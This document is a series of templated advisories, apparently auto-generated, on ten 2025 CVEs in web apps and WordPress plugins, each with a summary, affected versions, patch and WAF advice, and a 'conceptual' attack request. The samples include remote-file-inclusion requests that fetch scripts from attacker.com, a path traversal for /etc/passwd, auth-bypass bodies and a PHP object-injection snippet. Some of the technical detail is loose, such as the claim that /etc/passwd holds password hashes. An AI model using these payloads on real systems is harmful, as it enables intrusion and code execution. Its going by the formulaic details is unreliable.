Author: Ameeba

Overview

This report provides a detailed analysis of the CVE-2025-5261 vulnerability. This security issue affects Pik Online, a product developed by Pik Online Yazılım Çözümleri A.Ş. The vulnerability is due to an authorization bypass through user-controlled key, creating potential for system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-5261
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Pik Online | Before 3.1.5

How the Exploit Works

The vulnerability arises when the system fails to properly validate user-controlled input in the authorization key. This allows an attacker to bypass the authorization process by manipulating the key, thus gaining unauthorized access to restricted or sensitive data. The flaw can be exploited remotely over a network without requiring user interaction or high-level privileges.

Conceptual Example Code

Here is a conceptual example of how the vulnerability may be exploited. Please note this is for illustrative purposes only and not actual exploitative code.

POST /auth/validate HTTP/1.1
Host: pik-online.example.com
Content-Type: application/json
{ "auth_key": "manipulated_auth_key" }

In this scenario, an attacker sends a POST request with a manipulated authorization key. The system fails to validate the key properly, thus granting the attacker access to restricted areas of the application.

Mitigation

The best course of action to mitigate this vulnerability is to apply the vendor’s patch. Pik Online Yazılım Çözümleri A.Ş has released a patch for Pik Online version 3.1.5 and later, which addresses this issue. As a temporary mitigation, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to monitor and block malicious activities.

Overview

The CVE-2025-54028 vulnerability is a critical security flaw that affects the Saleswonder Team Tobias CF7 WOW Styler. This vulnerability, due to improper control of filename for include/require statement in PHP program, could potentially lead to system compromise or data leakage. As this vulnerability has a severity score of 7.5, understanding and mitigating it is of utmost importance for organizations using this software.

Vulnerability Summary

CVE ID: CVE-2025-54028
Severity: High (7.5 CVSS Score)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Saleswonder Team Tobias CF7 WOW Styler | up to 1.7.2

How the Exploit Works

The vulnerability exists because the Saleswonder Team Tobias CF7 WOW Styler does not properly control the filename for include/require statement in its PHP program. This can allow an attacker to include files from remote servers. The attacker can exploit this issue to execute arbitrary PHP code in the context of the webserver process. This could lead to a full compromise of the vulnerable system.

Conceptual Example Code

Below is a conceptual example of how an attacker could exploit this vulnerability:

GET /path/to/vulnerable/script.php?file=http://attacker.com/malicious_script.txt HTTP/1.1
Host: target.example.com

In this example, the attacker is including a malicious script hosted on their own server (`attacker.com`) in the request, which the server then executes due to the improper handling of the `file` parameter.

Mitigation

All users of the affected software are strongly encouraged to apply the vendor patch as soon as it becomes available. Until the patch can be applied, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation against potential attacks exploiting this vulnerability.

Overview

This report presents a comprehensive analysis of a critical vulnerability, CVE-2025-54021, found in Mitchell Bennis Simple File List. This application, widely used for file management, has been discovered to contain a ‘Path Traversal’ vulnerability that could potentially lead to system compromise or data leakage. The implications of this vulnerability are severe, and immediate action is required to mitigate the risks associated with it.

Vulnerability Summary

CVE ID: CVE-2025-54021
Severity: High (7.5 CVSS score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Mitchell Bennis Simple File List | n/a through 6.1.14

How the Exploit Works

The vulnerability arises due to an improper limitation of a pathname to a restricted directory, commonly known as ‘Path Traversal’. An attacker, by exploiting this vulnerability, can access directories that should be restricted and read, modify, or delete files that are outside the intended directory. This can lead to unauthorized disclosure of information, unauthorized modification, or unauthorized disruption of service.

Conceptual Example Code

A conceptual example of the exploit may look like the following HTTP request:

GET /filelist/?dir=../../../../etc/passwd HTTP/1.1
Host: target.example.com

In this example, the attacker uses a series of “../” to move up in the directory structure to access the /etc/passwd file, a sensitive file that contains user password hashes on Unix-like systems.

Mitigation Guidance

In order to mitigate this vulnerability, users are advised to update Mitchell Bennis Simple File List to the latest version where this vulnerability has been patched. If an immediate update is not possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and block path traversal attacks can serve as a temporary mitigation measure. However, these temporary measures do not fully eliminate the vulnerability and are not a substitute for applying the vendor-supplied patch.

Overview

The vulnerability CVE-2025-54017 is a significant security flaw that affects the Cozmoslabs Paid Member Subscriptions software. It arises due to improper control of filename for Include/Require Statement in a PHP Program, leading to a PHP Remote File Inclusion. This vulnerability can lead to significant system compromise or data leakage, making it a serious concern for any users or administrators of this software.

Vulnerability Summary

CVE ID: CVE-2025-54017
Severity: High – CVSS Score 7.5
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Cozmoslabs Paid Member Subscriptions | n/a – 2.15.4

How the Exploit Works

The vulnerability is exploited by an attacker through manipulating the filename in an include/require statement in PHP, leading to PHP Remote File Inclusion. This allows the attacker to execute arbitrary PHP code on the server and potentially gain unauthorized access.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited:

GET /path/to/vulnerable/script.php?file=http://attacker.com/malicious_script.txt HTTP/1.1
Host: vulnerable.site.com

In this example, the attacker has manipulated the “file” parameter in the GET request to include a remote file from their own server (“attacker.com”). This file (“malicious_script.txt”) could contain arbitrary PHP code that, when executed, could compromise the system or leak sensitive data.

Mitigation Guidance

Users are advised to apply the vendor patch as soon as it becomes available. As an immediate yet temporary mitigation measure, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help to detect and prevent exploit attempts.

Overview

The vulnerability CVE-2025-53210 pertains to an issue found in bdthemes ZoloBlocks, specifically the improper control of filename for include/require statement in PHP programs. This vulnerability, commonly known as ‘PHP Remote File Inclusion’, affects versions from n/a through 2.3.2. This vulnerability is of significant concern due to its potential to compromise systems and leak data.

Vulnerability Summary

CVE ID: CVE-2025-53210
Severity: High, CVSS Score: 7.5
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

bdthemes ZoloBlocks | n/a through 2.3.2

How the Exploit Works

The vulnerability stems from a lack of proper sanitization of user input in the filename for include/require statements in PHP programs within bdthemes ZoloBlocks. This allows an attacker to include arbitrary local or remote files using special URL schemes. By exploiting this vulnerability, an attacker could execute arbitrary PHP code on the server, potentially leading to a complete system compromise.

Conceptual Example Code

Here is a conceptual example of how this vulnerability could be exploited. Note this is a simplified representation and actual exploit code would be more complex:

GET /index.php?file=http://attacker.com/malicious_file HTTP/1.1
Host: vulnerable-site.com

In this example, the attacker tricks the server into including a PHP file from their controlled server (`attacker.com`). This malicious file could contain arbitrary PHP code, leading to potential system compromise.

Overview

The vulnerability, designated as CVE-2025-53208, is an authorization bypass through user-controlled key vulnerability found in the software “Maya Business.” The flaw could potentially allow unauthorized users to access functionalities that are not properly constrained by Access Control Lists (ACLs), thereby potentially leading to system compromise or data leakage. As such, the vulnerability poses a significant threat to any organization utilizing the affected versions of Maya Business.

Vulnerability Summary

CVE ID: CVE-2025-53208
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Maya Business | Through 1.2.0

How the Exploit Works

The vulnerability stems from a flaw in the authorization module of the Maya Business software. Specifically, the application fails to properly implement ACLs, leading to an Authorization Bypass Through User-Controlled Key vulnerability. This could potentially allow an attacker to manipulate keys under their control to bypass authentication and gain unauthorized access to sensitive functionalities and information.

Conceptual Example Code

The following is a conceptual example of how an attacker might exploit this vulnerability:

POST /maya_business/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"user_controlled_key": "admin",
"other_payload": "..."
}

In this example, the attacker manipulates the “user_controlled_key” to mimic an admin key, thereby bypassing the ACL checks and gaining unauthorized access.

Mitigation Guidance

Organizations are strongly advised to apply the vendor patch for this vulnerability as soon as it is available. In the meantime, the use of Web Application Firewalls (WAFs) or Intrusion Detection Systems (IDS) could serve as temporary mitigation techniques. Regular monitoring and updating of security systems is also recommended to prevent potential exploits.

Overview

The vulnerability, CVE-2025-48302, is a significant security flaw found in Roxnor FundEngine that allows PHP Local File Inclusion due to an Improper Control of Filename for Include/Require Statement in its PHP Program. This vulnerability has a high impact on the confidentiality, integrity, and availability of the system. It could potentially lead to a full system compromise, data leakage, and give unauthorized access to sensitive data if successfully exploited.

Vulnerability Summary

CVE ID: CVE-2025-48302
Severity: High (7.5)
Attack Vector: Remote
Privileges Required: Low
User Interaction: None
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

Roxnor FundEngine | n/a through 1.7.4

How the Exploit Works

The vulnerability stems from an improper control of filename in the include/require statement in the PHP program of Roxnor FundEngine. This allows an attacker to manipulate the file that should be included. When a malicious user crafts a specific request to the application, it could cause the PHP interpreter to include a remote file hosted on an attacker-controlled server, leading to remote code execution on the server running the affected application.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. This could be a sample HTTP request:

GET /index.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: target.example.com

In this example, the attacker exploits the vulnerability by calling a malicious file hosted on their server (attacker.com/malicious_file.php). The server running the Roxnor FundEngine application then executes the malicious file, leading to a potential system compromise or data leakage.

Mitigation

To mitigate this vulnerability, it is recommended to apply any patches provided by the vendor. If a patch is not immediately available, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and prevent exploitation attempts could serve as a temporary mitigation measure. Regularly updating and patching systems is also a good security practice to prevent such vulnerabilities.

Overview

The vulnerability CVE-2025-48298 is a significant security oversight in the SEOPress for MainWP plugin, developed by Benjamin Denis. Specifically, it involves an improper control of the filename for include/require statement in PHP, also known as ‘PHP Remote File Inclusion’. This vulnerability could potentially lead to severe system compromise or data leakage, impacting the privacy and security of users.

Vulnerability Summary

CVE ID: CVE-2025-48298
Severity: High (7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Benjamin Denis SEOPress for MainWP | Up to and including 1.4

How the Exploit Works

The vulnerability stems from the improper control of filenames for include/require statements in PHP programs. An attacker can abuse this oversight by tricking the system into including a file from a remote server that contains malicious code. This code is then executed in the context of the application, potentially leading to unauthorized access, data leakage, or even a system compromise.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited:

GET /include.php?file=http://attacker.com/malicious_script.txt HTTP/1.1
Host: target.example.com

In the above example, an attacker could use a URL parameter to inject a path to a malicious script hosted on their server. When the ‘include.php’ file is processed by the server, it includes the content of the malicious script and executes it, leading to potential system compromise.

Mitigation Guidance

To mitigate this vulnerability, users are advised to apply the latest patch provided by the vendor. In the absence of a patch, users can employ a web application firewall (WAF) or intrusion detection system (IDS) as a temporary solution. However, these are not long-term solutions and may not completely protect against the exploit. As a best practice, regular updating of software should be maintained to protect against known vulnerabilities.

Overview

This report provides an analysis of the CVE-2025-30975 vulnerability, a significant security flaw affecting the SaifuMak Add Custom Codes software. This vulnerability allows hackers to perform Code Injection attacks, potentially compromising systems and leading to data leakage. It’s a crucial concern for all users of the affected software versions.

Vulnerability Summary

CVE ID: CVE-2025-30975
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

SaifuMak Add Custom Codes | Versions up to 4.80

How the Exploit Works

The vulnerability lies within the improper handling of code generation by the SaifuMak Add Custom Codes software. This flaw allows an attacker to inject malicious code into the system. By sending a specially crafted request to the application, the attacker can cause the software to execute the arbitrary code, which could lead to system compromise or data leakage.

Conceptual Example Code

Here’s a
conceptual
example of how the vulnerability might be exploited:

POST /addCustomCodes HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "custom_code": "<script>malicious_code_here</script>" }

In this example, the malicious code within the “custom_code” parameter would be processed and executed by the SaifuMak Add Custom Codes software, leading to the potential compromise.

Mitigation Guidance

Users are advised to apply the vendor patch immediately to mitigate the risks associated with this vulnerability. In the absence of a patch, the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary mitigation.

Overview

The Redirection for Contact Form 7 plugin for WordPress, a widely used plugin, is vulnerable to PHP Object Injection. This vulnerability, identified as CVE-2025-8289, allows an unauthenticated attacker to potentially compromise a system or leak data. This report will detail the vulnerability, its potential impacts, and measures to mitigate the risk.

Vulnerability Summary

CVE ID: CVE-2025-8289
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Redirection for Contact Form 7 Plugin for WordPress | <= 3.2.4 Redirection For Contact Form 7 Extension - Create Post | All versions How the Exploit Works

The Redirection for Contact Form 7 plugin for WordPress is vulnerable to PHP Object Injection via the delete_associated_files function. This vulnerability arises due to the deserialization of untrusted input. Unauthenticated attackers can exploit this vulnerability when a form with a file upload action is present on the site. The presence of the ‘Redirection For Contact Form 7 Extension – Create Post’ extension further makes the vulnerability exploitable. With a POP chain present via an additional plugin or theme, the attacker can take actions like deleting arbitrary files, retrieving sensitive data, or executing code.

Conceptual Example Code

A conceptual example of how the vulnerability might be exploited is shown below:

<?php
class Exploit {
function __destruct() {
file_put_contents('/path/to/arbitrary/file', 'Injected content');
}
}
$exploit = serialize(new Exploit());
$postdata = http_build_query(
array(
'form_data' => $exploit,
)
);
$opts = array('http' =>
array(
'method'  => 'POST',
'header'  => 'Content-type: application/x-www-form-urlencoded',
'content' => $postdata
)
);
$context  = stream_context_create($opts);
$result = file_get_contents('http://target.example.com/vulnerable/endpoint', false, $context);
?>

Mitigation Guidance

To mitigate this vulnerability, it is recommended to apply the vendor patch as soon as it becomes available. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. Regularly updating all plugins and themes can also reduce the risk of exploitation.